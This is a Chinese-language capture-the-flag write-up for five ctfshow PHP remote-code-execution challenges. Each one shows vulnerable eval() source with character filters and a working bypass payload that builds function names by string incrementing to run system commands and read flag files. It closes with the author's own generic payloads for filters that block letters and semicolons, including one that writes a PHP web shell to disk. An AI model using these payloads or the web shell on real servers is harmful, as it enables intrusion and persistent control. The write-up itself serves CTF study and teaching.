RCE 挑战 1

源码:

php
<?php

error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code);
?>

不给括号和点说明不能执行函数,那只能利用反引号直接执行系统函数了
payload:

code=?><?=`nl /f*`;?>

RCE 挑战 2

源码:

php
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>

看过滤部分的话是一个很经典的无字母数字 RCE。过滤了~和^代表不能进行异或和取反,那代表只能自增绕过了。
构造 $_GET[_]($_GET[__]);
payload:

ctf_show=$_=[]._;$_=$_['_'];$_++;$_++;$_++;$__=++$_;$_++;$__=++$_.$__;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$__.++$_;$_='_'.$_;$$_[_]($$_[__]);

RCE 挑战 3

源码:

php
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>

本题比起上题放出了数字 0 和 1,过滤了单引号并增加了字符长度限制。
构造 POST,因为可以利用 NAN 构造出 N,且四个字母都离 N 比较近。
payload:

ctf_show=$_=(0/0)._;$_=$_[0];$__=++$_;$__=++$_.$__;$_++;$_++;$__=$__.++$_;$__=$__.++$_;$_=_.$__;$$_[0]($$_[1]);&0=system&1=cat /f*

RCE 挑战 4

源码:

php
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are yaou hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>

payload:

ctf_show=%24_%3d(_%2f_._)%5b0%5d%3b%24__%3d%2b%2b%24_%3b%24__%3d_.%2b%2b%24_.%24__%3b%2b%2b%24_%3b%2b%2b%24_%3b%24__%3d%24__.%2b%2b%24_.%2b%2b%24_%3b%24%24__%5b_%5d(%24%24__%5b__%5d)%3b&_=system&__=cat ../../../f1agaaa;

RCE 挑战 5

源码:

php
 <?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>

payload

ctf_show=%24%5F%3D%28%5F%2F%5F%2E%5F%29%5B%5F%5D%3B%24%5F%2B%2B%3B%24%FA%3D%24%5F%2E%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%FA%3D%5F%2E%24%FA%2E%2B%2B%24%5F%2E%2B%2B%24%5F%3B%24%24%FA%5B%5F%5D%28%24%24%FA%5B%FA%5D%29%3B&_=system&%FA=cat /f1agaaa

再写一些自己总结的:

120字符内有1和2的RCE $_GET[1]($_GET[2]);
$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);

过滤了分号 system($_POST[_])
?><?=@$_=[].'',@$__=$_[''],$___='',$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$___.=$_,$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$___.=$_,$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$___.=$_,$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$___.=$_,$_=$__,$_++,$_++,$_++,$_++,$___.=$_,$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$___.=$_,$____='_',$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$____.=$_,$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$____.=$_,$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$____.=$_,$_=$__,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$_++,$____.=$_,$_=$$____,$___($_[_])?>

过滤了分号 $_POST[__]($_POST[_],$_POST[___])
?><?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$___=$_?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$_[__]($_[_],$_[___])?>
POST: __=file_put_contents&_=3.php&___=<?=eval($_POST['2'])?>